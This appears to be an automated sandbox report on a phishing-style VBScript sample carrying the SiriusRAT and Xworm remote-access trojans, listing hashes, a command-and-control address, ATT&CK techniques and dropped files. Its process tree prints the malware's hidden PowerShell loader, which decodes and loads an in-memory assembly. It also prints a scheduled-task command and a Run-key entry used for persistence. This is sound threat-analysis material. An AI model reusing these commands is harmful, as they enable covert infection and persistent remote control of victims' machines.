siriusrat | df24016db1b73a029d08feada57fcffd4e1ef0e03dfbca0813a0f3ea2a044a1c

Analysis

max time kernel
150s
max time network
148s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260911-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260911-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
25/09/2026, 00:34

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
RFQ-SCM04429866,PDF.vbs
Size 4.8MB
Sample260925-awrrfsty8j
SHA256 df24016db1b73a029d08feada57fcffd4e1ef0e03dfbca0813a0f3ea2a044a1c
MD5 467670767bcd1c24dfe10a8f14e9738b
SHA1 08decb440bf2b4e95ce19cadaf226516a281041b
SHA512 6216318b8a17626c492b83d571fc66fcc3eb8ea04db39b20d6bff7c8eaa7128ed006ff67034c5870f7f1c038078ff371c2d30d673a0efd854e2d664ca60a3c4a
SSDEEP 3072:+PU7IrHVow8yDO1DHUFakwSa9fWQ5Ocg5ergFUr1B0GCcrphNiFNMqUxq4fR8G4x:I
TLSH
T122364EA46114452E14EEDB429E7BFEC5D58B00CD2BA8556C520AFD19BB870EA30F7BF0
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

discovery execution siriusrat xworm persistence privilege_escalation rat trojan

Malware Config

Extracted

Family

siriusrat

203.202.232.59:4484

Signatures

Family: SiriusRAT
SiriusRAT is a Windows RAT written in C++ with HVNC, offline keylogging, and remote desktop capabilities.
rat siriusrat
Family: Xworm
Xworm is a remote access trojan written in C#.
trojan rat xworm

Detect Xworm Payload 1 IoCs

resource	yara_rule
behavioral2/memory/4888-24-0x0000000000400000-0x000000000041E000-memory.dmp	family_xworm

Detects SiriusRAT 1 IoCs

resource	yara_rule
behavioral2/memory/4580-91-0x0000000140000000-0x0000000140558000-memory.dmp	family_siriusrat

Process spawned unexpected child process 2 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4776	880	powershell.exe	89
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4468	880	powershell.exe	89

Badlisted process makes network request 2 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
1	4776	powershell.exe
4	4468	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
4776	powershell.exe
4788	powershell.exe
4468	powershell.exe
1744	powershell.exe

Creates a file in the Startup directory 1 TTPs 2 IoCs

A file was written to a Windows startup folder. Files in these directories are executed automatically when a user logs on or an application initializes.

persistence privilege_escalation

Registry Run Keys / Startup Folder

T1547.001

description	ioc	Process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\XWClient.lnk	Caspol.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\XWClient.lnk	Caspol.exe

Executes dropped EXE 5 IoCs

pid	Process
3724	XWClient.exe
2672	XWClient.exe
1164	CasPol.exe
2520	XWClient.exe
2896	XWClient.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-2251218687-1689653882-3767565116-1000\Software\Microsoft\Windows\CurrentVersion\Run\XWClient = "C:\\ProgramData\\XWClient.exe"	Caspol.exe

Executes a VBScript file via the Windows Script Host. 1 TTPs 2 IoCs

execution

Visual Basic

T1059.005

pid	Process
3236	WScript.exe
1068	WScript.exe

Suspicious use of SetThreadContext 2 IoCs

description	pid	Process	procid_target
PID 4776 set thread context of 4888	4776	powershell.exe	96
PID 4468 set thread context of 4580	4468	powershell.exe	115

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Executes a command shell one-liner 1 TTPs 1 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
1236	cmd.exe

System Location Discovery: System Language Discovery 1 TTPs 8 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Caspol.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	XWClient.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	XWClient.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	XWClient.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	WScript.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	XWClient.exe

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-2251218687-1689653882-3767565116-1000_Classes\Local Settings	Caspol.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
1676	schtasks.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
4776	powershell.exe
4776	powershell.exe
4788	powershell.exe
4788	powershell.exe
4788	powershell.exe
4776	powershell.exe
4888	Caspol.exe
4888	Caspol.exe
1164	CasPol.exe
1164	CasPol.exe
1164	CasPol.exe
1164	CasPol.exe
4468	powershell.exe
4468	powershell.exe
1164	CasPol.exe
1164	CasPol.exe
1164	CasPol.exe
1164	CasPol.exe
1164	CasPol.exe
4888	Caspol.exe
4888	Caspol.exe
1164	CasPol.exe
1164	CasPol.exe
1164	CasPol.exe
1164	CasPol.exe
1164	CasPol.exe
1164	CasPol.exe
1164	CasPol.exe
1164	CasPol.exe
4468	powershell.exe
1744	powershell.exe
1744	powershell.exe
1164	CasPol.exe
1164	CasPol.exe
1164	CasPol.exe
1164	CasPol.exe
1164	CasPol.exe
1164	CasPol.exe
1164	CasPol.exe
1164	CasPol.exe
1164	CasPol.exe
1164	CasPol.exe
1164	CasPol.exe
1164	CasPol.exe
1744	powershell.exe
1164	CasPol.exe
1164	CasPol.exe
1164	CasPol.exe
1164	CasPol.exe
1164	CasPol.exe
1164	CasPol.exe
1164	CasPol.exe
1164	CasPol.exe
1164	CasPol.exe
1164	CasPol.exe
1164	CasPol.exe
1164	CasPol.exe
1164	CasPol.exe
1164	CasPol.exe
1164	CasPol.exe
1164	CasPol.exe
1164	CasPol.exe
1164	CasPol.exe
1164	CasPol.exe

Suspicious use of AdjustPrivilegeToken 6 IoCs

description	pid	Process
Token: SeDebugPrivilege	4776	powershell.exe
Token: SeDebugPrivilege	4788	powershell.exe
Token: SeDebugPrivilege	4888	Caspol.exe
Token: SeDebugPrivilege	1164	CasPol.exe
Token: SeDebugPrivilege	4468	powershell.exe
Token: SeDebugPrivilege	1744	powershell.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
4888	Caspol.exe

Suspicious use of WriteProcessMemory 24 IoCs

description	pid	Process	procid_target
PID 3236 wrote to memory of 4788	3236	WScript.exe	92
PID 4776 wrote to memory of 1236	4776	powershell.exe	94
PID 4776 wrote to memory of 4888	4776	powershell.exe	96
PID 4776 wrote to memory of 4888	4776	powershell.exe	96
PID 4776 wrote to memory of 4888	4776	powershell.exe	96
PID 4776 wrote to memory of 4888	4776	powershell.exe	96
PID 4776 wrote to memory of 4888	4776	powershell.exe	96
PID 4888 wrote to memory of 1676	4888	Caspol.exe	99
PID 4888 wrote to memory of 1068	4888	Caspol.exe	105
PID 4888 wrote to memory of 1232	4888	Caspol.exe	106
PID 1232 wrote to memory of 1072	1232	csc.exe	108
PID 4888 wrote to memory of 1164	4888	Caspol.exe	111
PID 1068 wrote to memory of 1744	1068	WScript.exe	112
PID 4468 wrote to memory of 4580	4468	powershell.exe	115
PID 4468 wrote to memory of 4580	4468	powershell.exe	115
PID 4468 wrote to memory of 4580	4468	powershell.exe	115
PID 4468 wrote to memory of 4580	4468	powershell.exe	115
PID 4468 wrote to memory of 4580	4468	powershell.exe	115
PID 4468 wrote to memory of 4580	4468	powershell.exe	115
PID 4468 wrote to memory of 4580	4468	powershell.exe	115
PID 4468 wrote to memory of 4580	4468	powershell.exe	115
PID 4468 wrote to memory of 4580	4468	powershell.exe	115
PID 4888 wrote to memory of 240	4888	Caspol.exe	119
PID 240 wrote to memory of 4480	240	csc.exe	121

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\RFQ-SCM04429866,PDF.vbs"
1⤵
- Executes a VBScript file via the Windows Script Host.
- Suspicious use of WriteProcessMemory
PID:3236
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -WindowStyle Hidden -Command "$airline=$env:P1+$env:P2+$env:P3+$env:P4+$env:P5+$env:P6;$rallying=[Convert]::FromBase64String($airline);[AppDomain]::CurrentDomain.Load($rallying)|Out-Null;[Win32.RMP.Cls_YFaBwcZXht]::Met_YFaBwcZXhtet('DySUTCcLalYTymzsfe10mvMQaFKKL+7A51Gni4ustUCJheYoWD7Ic233o0pq0IZZ','vOOhHH+FkVECl91hE+79jSMSfM6kjLlKps9jaxxJpLQ=','Mv1ixiIFWS6IuhT1HqV5ZGELnZfxRZsQJIViYJwFNZcGRYq6w51NwIEsTlLgFvEQ','Mm+hCmZuaIqpAFXV69W1/mk2KslRDlmFLIQdvHk9zRQ=','JK/e1c7rhPNm1Kfr/SofEpgdBSm1DsuUSUH894nibaw=','','ll23A1B2dncA/bY24qVpYBgd2tO8i+jmQSmKBlfrkHA=','5k+L9cNvwYGqu+mONAvDVAREw4uCjJ2QXii5uta4oc4=','54+Dm2B0DjQF7IIi5cri0yVlkJOTrsTV1/M9wG7sIZTqJdhjGSFTBGP3tvqG20ls','lA1gW8qIKwUnGstBnF4qCO9k+Lcj4aO+pfxAa6sVfak0aSv0lZskoPG6fwNVZ9B/','kOxFR5R1jpiAgWiutC6TdGU0VdJoyTG9W+Gl34NTbNA=','4FHxPP4zJw0raqfdxLiGrJOnCmUY90Lfwk6qg1B17pg=','wEquGP2f3K4UvcDvcCxZfiYX8cTKD0QzySYoKrTwBIw=','AifncLNERXopE7igJh7M7j8NvuynO/odmX940cD6zus=','Be4UA02i8gnPIXT4tRAQkSUax7eE0rzNeYIgp66Ioj4=','SVQYyektwg80977kFcOYLoC0lE19foKccZ6BpvT5DJ0=','','','')"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:4788

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -ExecutionPolicy Bypass -WindowStyle Hidden -Command "$airline=$env:P1+$env:P2+$env:P3+$env:P4+$env:P5+$env:P6;$rallying=[Convert]::FromBase64String($airline);[AppDomain]::CurrentDomain.Load($rallying)|Out-Null;[Win32.RMP.Cls_YFaBwcZXht]::Met_YFaBwcZXhtet('DySUTCcLalYTymzsfe10mvMQaFKKL+7A51Gni4ustUCJheYoWD7Ic233o0pq0IZZ','vOOhHH+FkVECl91hE+79jSMSfM6kjLlKps9jaxxJpLQ=','Mv1ixiIFWS6IuhT1HqV5ZGELnZfxRZsQJIViYJwFNZcGRYq6w51NwIEsTlLgFvEQ','Mm+hCmZuaIqpAFXV69W1/mk2KslRDlmFLIQdvHk9zRQ=','JK/e1c7rhPNm1Kfr/SofEpgdBSm1DsuUSUH894nibaw=','','ll23A1B2dncA/bY24qVpYBgd2tO8i+jmQSmKBlfrkHA=','5k+L9cNvwYGqu+mONAvDVAREw4uCjJ2QXii5uta4oc4=','54+Dm2B0DjQF7IIi5cri0yVlkJOTrsTV1/M9wG7sIZTqJdhjGSFTBGP3tvqG20ls','lA1gW8qIKwUnGstBnF4qCO9k+Lcj4aO+pfxAa6sVfak0aSv0lZskoPG6fwNVZ9B/','kOxFR5R1jpiAgWiutC6TdGU0VdJoyTG9W+Gl34NTbNA=','4FHxPP4zJw0raqfdxLiGrJOnCmUY90Lfwk6qg1B17pg=','wEquGP2f3K4UvcDvcCxZfiYX8cTKD0QzySYoKrTwBIw=','AifncLNERXopE7igJh7M7j8NvuynO/odmX940cD6zus=','Be4UA02i8gnPIXT4tRAQkSUax7eE0rzNeYIgp66Ioj4=','SVQYyektwg80977kFcOYLoC0lE19foKccZ6BpvT5DJ0=','','','')"
1⤵
- Process spawned unexpected child process
- Badlisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4776
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /C copy *.vbs "C:\\Users\\Public\\Libraries\\KNVfaGVlra.vbs"
  2⤵
  - Executes a command shell one-liner
  PID:1236
- C:\Windows\Microsoft.NET\Framework\v4.0.30319\Caspol.exe
  "C:\Windows\Microsoft.NET\Framework\v4.0.30319\Caspol.exe"
  2⤵
  - Creates a file in the Startup directory
  - Adds Run key to start application
  - System Location Discovery: System Language Discovery
  - Modifies registry class
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of SetWindowsHookEx
  - Suspicious use of WriteProcessMemory
  PID:4888
- - C:\Windows\SysWOW64\schtasks.exe
    "C:\Windows\System32\schtasks.exe" /create /f /RL HIGHEST /sc minute /mo 1 /tn "XWClient" /tr "C:\ProgramData\XWClient.exe"
    3⤵
    - System Location Discovery: System Language Discovery
    - Scheduled Task/Job: Scheduled Task
    PID:1676
- - C:\Windows\SysWOW64\WScript.exe
    "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\uxsbqt.vbs"
    3⤵
    - Executes a VBScript file via the Windows Script Host.
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:1068
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -WindowStyle Hidden -Command "$forlesing=$env:P1+$env:P2+$env:P3+$env:P4+$env:P5+$env:P6;$ballast=[Convert]::FromBase64String($forlesing);[AppDomain]::CurrentDomain.Load($ballast)|Out-Null;[Win32.RMP.Cls_DvNxfhWzed]::Met_DvNxfhWzedBr('L2rSibuRn4g9NReTqfz15UG9GicnVUEGOltocNJMuZ8m6hT8z2yBcjB9YTKkRCak','LJTuxLy28Gjt8j4F2lF/R0+ZAxB6Mzt+UiQO8+bcKYg=','28PWSUhBUNrh81czGNwGHu+rLswGHE6Egb3agivHVvmfkOyfNw9AUVKPiBt4WMaH','YLo26LI9P8OIw9xrWWzXDAPibwXFD4OLWp97v5ld/+c=','vWy7aHVhVoeDOHVeFhdX31U19umU8AA+e4MavwcKXHs=','','/oiGGF0KDQIDhIRR1Lr8iZkXta51K+xSRf1mpdA9dnY=','fkmg9LhfH2AsRQjwlc3VW6eRgJ+U2QgvOSg8kSiS0IE=','EmtfqgV3Cf8uYcssIrXp9g+6WtufLER/cImzpxiK+3MmJW089fDOeGuvPw+jeqrI','/cO5+F3VaM2Ao9mGYSz2lngaqCY160I2InknShtopF/xeURbc3kpA10Bj9awb5JR','wBErAQEu2GNliT8Ugfr8Dd58++0yZr/Q4fi/vBfmfIs=','5Ou4aGhoJo7wbZowpHIrl2jazCflkF+Piw/YpwgSKDU=','C5i/rUIK/vw2A6VDABft8TIdi4J9tuGLeJqPcOPaabI=','Rt3tf1cdN0JcHz36DC681anZCv28vp/dYYsFp9/LSiw=','gwQyJINDP45Kpq2VfmBWSWs788aWKj7dSj36Qi119fk=','patfgp5adCJR6X1nOvOjXBRCX8VDpOx0l4XO5WHAkHQ=','','','')"
      4⤵
      Command and Scripting Interpreter: PowerShell
      System Location Discovery: System Language Discovery
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:1744
- - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
    "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /target:exe /out:"C:\Users\Admin\AppData\Local\Temp\CasPol.exe" "C:\Users\Admin\AppData\Local\Temp\guardian_src_dea119e25a4d412db02c67c1fbd51f01.cs"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1232
  - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
      C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESFF55.tmp" "c:\Users\Admin\AppData\Local\Temp\CSCCA7D0D767C794E8280A654B432AAAF0.TMP"
      4⤵
      PID:1072
- - C:\Users\Admin\AppData\Local\Temp\CasPol.exe
    "C:\Users\Admin\AppData\Local\Temp\CasPol.exe" 4888
    3⤵
    - Executes dropped EXE
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:1164
- - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
    "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /target:exe /out:"C:\Users\Admin\AppData\Local\Temp\CasPol.exe" "C:\Users\Admin\AppData\Local\Temp\guardian_src_dc7555ab0b4b4ff8b142974fc697b5f4.cs"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:240
  - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
      C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESC833.tmp" "c:\Users\Admin\AppData\Local\Temp\CSCC7A399ED56714DFA958B6A637774E98C.TMP"
      4⤵
      PID:4480

C:\Windows\system32\wscript.exe
wscript.exe
1⤵
PID:5684

C:\ProgramData\XWClient.exe
C:\ProgramData\XWClient.exe
1⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
PID:3724

C:\PROGRA~3\XWClient.exe
C:\PROGRA~3\XWClient.exe
1⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
PID:2672

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -ExecutionPolicy Bypass -WindowStyle Hidden -Command "$forlesing=$env:P1+$env:P2+$env:P3+$env:P4+$env:P5+$env:P6;$ballast=[Convert]::FromBase64String($forlesing);[AppDomain]::CurrentDomain.Load($ballast)|Out-Null;[Win32.RMP.Cls_DvNxfhWzed]::Met_DvNxfhWzedBr('L2rSibuRn4g9NReTqfz15UG9GicnVUEGOltocNJMuZ8m6hT8z2yBcjB9YTKkRCak','LJTuxLy28Gjt8j4F2lF/R0+ZAxB6Mzt+UiQO8+bcKYg=','28PWSUhBUNrh81czGNwGHu+rLswGHE6Egb3agivHVvmfkOyfNw9AUVKPiBt4WMaH','YLo26LI9P8OIw9xrWWzXDAPibwXFD4OLWp97v5ld/+c=','vWy7aHVhVoeDOHVeFhdX31U19umU8AA+e4MavwcKXHs=','','/oiGGF0KDQIDhIRR1Lr8iZkXta51K+xSRf1mpdA9dnY=','fkmg9LhfH2AsRQjwlc3VW6eRgJ+U2QgvOSg8kSiS0IE=','EmtfqgV3Cf8uYcssIrXp9g+6WtufLER/cImzpxiK+3MmJW089fDOeGuvPw+jeqrI','/cO5+F3VaM2Ao9mGYSz2lngaqCY160I2InknShtopF/xeURbc3kpA10Bj9awb5JR','wBErAQEu2GNliT8Ugfr8Dd58++0yZr/Q4fi/vBfmfIs=','5Ou4aGhoJo7wbZowpHIrl2jazCflkF+Piw/YpwgSKDU=','C5i/rUIK/vw2A6VDABft8TIdi4J9tuGLeJqPcOPaabI=','Rt3tf1cdN0JcHz36DC681anZCv28vp/dYYsFp9/LSiw=','gwQyJINDP45Kpq2VfmBWSWs788aWKj7dSj36Qi119fk=','patfgp5adCJR6X1nOvOjXBRCX8VDpOx0l4XO5WHAkHQ=','','','')"
1⤵
- Process spawned unexpected child process
- Badlisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4468
- C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Caspol.exe
  C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Caspol.exe
  2⤵
  PID:4580

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k GPSvcGroup
1⤵
PID:5364

C:\ProgramData\XWClient.exe
"C:\ProgramData\XWClient.exe"
1⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
PID:2520

C:\ProgramData\XWClient.exe
"C:\ProgramData\XWClient.exe"
1⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
PID:2896

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Visual Basic

T1059.005

Windows Command Shell

T1059.003

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

XWClient.exe

Path C:\ProgramData\XWClient.exe
Size 99KB
SHA256 57e9675902b443085e37ead57dfed97de6bb61321682bc93aff30f16b5ca5aeb
MD5 f61fa5ce25f885a9b1f549055c9911ed
SHA1 aba1c035b06017b0b0bd1c712669646e4f3765ab
SHA512 02e3db343037294fd3b774f954c9a617a50715e6b89d7c409f3c7dc5a1cf5ed9418158c442e9e80111994da139a9a16db33ac68a833d6d115c4a41bdf75751ac
SSDEEP 1536:VSF7vAYeRqH3ex0Jj/3MZpEktOgl6mdcQ6A4vrZZ1RpvlWN4wpzh:qAYeXGJy96mdclA4vrNRpvlsld
TLSH
T140A3B465B3FD1224F2FF8B70ADF89452453BBD9BA951C26D2C89028906327C1D922F77
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 64B
SHA256 92671c154d4e886f999580604f675416003965914ab8435babc0b11290f6a6a4
MD5 ccd060f9f366be151fe026216473d89d
SHA1 a2376b4d7e68f0f9b95afe6cb3d0dac53d4d3e67
SHA512 c32c5dc4f4034e964becf33399da8a09c393680520aa9163d4035bc8fa4a15453cf7c7ed1b309785266449f257b7ced4b8dca043917b2c5812b9a25c1da224cd
MD5 SHA1 SHA512

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 64B
SHA256 a7de5177c68a64bd48b36d49e2853799f4ebcfa8e4761f7cc472f333dc5f65cf
MD5 446dd1cf97eaba21cf14d03aebc79f27
SHA1 36e4cc7367e0c7b40f4a8ace272941ea46373799
SHA512 a6d754709f30b122112ae30e5ab22486393c5021d33da4d1304c061863d2e1e79e8aeb029cae61261bb77d0e7becd53a7b0106d6ea4368b4c302464e3d941cf7
MD5 SHA1 SHA512

Submit Download

CasPol.exe

Path C:\Users\Admin\AppData\Local\Temp\CasPol.exe
Size 5KB
SHA256 c8848b801042d67cd1ad6d347ccb60d2644b6b65cd54114e516a43e3a70f49bd
MD5 397f42c443a17b973e6823fdba8a7a43
SHA1 db05a2a71cb2a52d2ecc6bd6043b33129791551e
SHA512 80384dd8ad055cdba9971b56dd0b267307d58d8eaa2cc1d3f32c0b5761bad854c66003ad4601aec520d01d0ebf76f758509c9702c40296becefad5518dab7cd2
SSDEEP 96:wxdew7V9qOOoT8BynqgHlNxNEK7yKk2zNt:Ov2OOWoyqgHjoK70Q
TLSH
T112C1C48797DC4366D0620731B8B303552778E9225B6BABAF24F4137A3EB639009533F1
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

RESC833.tmp

Path C:\Users\Admin\AppData\Local\Temp\RESC833.tmp
Size 1KB
SHA256 6166ebf4c0a246af0dd0dc8231c92856c92865ae3f9551d10198eba52135a20c
MD5 216ad3f68158cf38a0d31c6873fd3260
SHA1 2777646f1713cf894656938313c7030c5da0e159
SHA512 00473bd4e53db996c0e633dafe2b5d7b3dad87e645d98c80854c6b46ef19998bf445eaf16513ecc09e9874b8238ca851ed3967c50e94bb84cd5d6766aeee7b9a
TLSH
T11F41314183E84B1FE132073128F75315A678BE65AEAA475E7488122E6E02740DDC36B2
MD5 SHA1 SHA512 TLSH

Submit Download

RESFF55.tmp

Path C:\Users\Admin\AppData\Local\Temp\RESFF55.tmp
Size 1KB
SHA256 458c537d0da923371a188fd529355cb27b015ae909548d9718632d86f52d5120
MD5 5c78658160f83a35f7f46d0a4e79aad4
SHA1 9ce80245d92f38d6c65ffa2bb37a130a58514763
SHA512 f48563b79a47f858f89435f6d6c6089a35eae0ac96531ad6af57e5f945383954a3b0f49ebfe31f895eb43535115398468d3a2e124d858f90d651f064996a7b64
TLSH
T1D941FF4183E84B1FE172473168FB8715A674BE65AEAA476D7488122E1F12740DD826B2
MD5 SHA1 SHA512 TLSH

Submit Download

__PSScriptPolicyTest_0v0yd0h0.jjg.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_0v0yd0h0.jjg.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

Submit Download

uxsbqt.vbs

Path C:\Users\Admin\AppData\Local\Temp\uxsbqt.vbs
Size 5.1MB
SHA256 a09bf0ffbfc241f19e6165bf809c49f1f86e4ef3a6bc693ce48b9bfcf543748d
MD5 58fff95b31d5b48c461e1508ef54e0e8
SHA1 61abb43a23ef34225b0978f5ed8fcdffa150bcbd
SHA512 357bbc8a0486d8a581a68074347145a9c4a8448239fe2ccf7923fe44e097ecd8124faf3911ba3228473c5867ae887a514ca36857f83d949f5e586b0292f8564f
SSDEEP 1536:PwAF67AJm1vL7MIXk92XIWhDTiQ3tEJb13dt7H1/2RP4/Z7GJ1qjakRZcE+XaX1d:L
TLSH
T107464EC2ACA84DAF4865F7C064284D575E9BC624CC1983DFE7C9DFE6F52E2432D2A580
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

CSCCA7D0D767C794E8280A654B432AAAF0.TMP

Path \??\c:\Users\Admin\AppData\Local\Temp\CSCCA7D0D767C794E8280A654B432AAAF0.TMP
Size 1KB
SHA256 bdc65a355c2540f3ddbc792fb7cb470205b049b7a49a903765cb6995590b1339
MD5 50f536e2c49cc088dc7219c2d625a3ae
SHA1 944c94a195dabccf5e99a03a0023097e0c7d05fa
SHA512 77215a61297d80a335cc891399f4919ab7a7654da10ac254a6968444db89cf5ee2924a1d206d175ef8c16290b3aeca4bbd66fb9142885e75860072dc777d32ee
TLSH
T16421AB45A2E8421EF2B3477079F2C362A16DBF669D7A43EC3488175F2F1690085836B1
MD5 SHA1 SHA512 TLSH

Submit Download

guardian_src_dea119e25a4d412db02c67c1fbd51f01.cs

Path \??\c:\Users\Admin\AppData\Local\Temp\guardian_src_dea119e25a4d412db02c67c1fbd51f01.cs
Size 4KB
SHA256 3ee1bf1ab210527e7543dc78ca3511904bf7770d571eb0d11746edd9f5bf814a
MD5 b7d40eb7e1328728d647678e1ea0a4dc
SHA1 43850a88c7f012df9e7349886497271c83e2bdaa
SHA512 a531df01588357b0d669d563fada88e78b0b3d1453e40605a872e9fba6091bb46a623b0817aafab946b01f92d5810ed7eb97ed9373eaeacb9970b316278667a4
SSDEEP 96:noO1V0E4Yt1YOC3idfygNzkfK1Sg5vpVIHZZ:jl481hC3i1ygNzw5g5vpVw3
TLSH
T19F911298954DA2D69872223AFB03D15BF603103322FF9A20FEADD3505F3D0018678F69
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

memory/1164-62-0x0000000000940000-0x0000000000948000-memory.dmp

Download

memory/1744-89-0x00000000067C0000-0x00000000067E2000-memory.dmp

Download

memory/3724-41-0x0000000000840000-0x000000000085C000-memory.dmp

Download

memory/4468-83-0x0000022A1D6D0000-0x0000022A1D6F2000-memory.dmp

Download

memory/4580-91-0x0000000140000000-0x0000000140558000-memory.dmp

Download

memory/4776-17-0x00007FFC6A150000-0x00007FFC6AAF4000-memory.dmp
